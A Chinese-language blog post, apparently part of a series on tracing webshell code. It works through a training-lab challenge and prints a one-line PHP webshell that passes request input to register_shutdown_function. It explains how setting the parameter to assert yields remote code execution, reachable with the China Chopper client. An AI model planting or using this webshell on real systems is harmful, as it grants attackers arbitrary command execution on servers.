WebShell代碼分析溯源(十)
一、一句話變形馬樣本
<?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['REQUEST']);?>
二、代碼分析
1、調整代碼格式

2、分析代碼
1、首先使用REQUEST方法接收url中e引數的值,然后使用register_shutdown_function函式, 其實這就是一個回呼函式,在上面的代碼運行結束后,再去執行,
注: register_shutdown_function()函式是來注冊一個會在PHP中止時執行的函式
參考: https://www.php.net/manual/zh/function.register-shutdown-function.php
https://www.jianshu.com/p/2bbbbeca62c8
2、先執行$e = $_REQUEST['e'],再執行$_REQUEST['REQUEST'],此時構造e=assert, 把$_REQUEST['REQUEST']作為引數回呼給$e,就構造出一句話木馬<?php assert($_REQUEST[‘REQUEST’]);?>
3、此時就可以使用菜刀連接,密碼REQUEST
三、漏洞環境搭建
1、這里使用在線學習平臺墨者學院中的實驗環境(WebShell代碼分析溯源(第9題)),地址: https://www.mozhe.cn/bug/detail/UTRuVFZxaWxzVE9PUGthdlYyd0E3dz09bW96aGUmozhe
2、代碼環境,下載代碼

3、分析(上面已經分析過了)
4、使用菜刀連接

5、執行一些命令

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/125417.html
標籤:PHP
上一篇:laravel佇列
下一篇:PHP fread 檔案系統函式
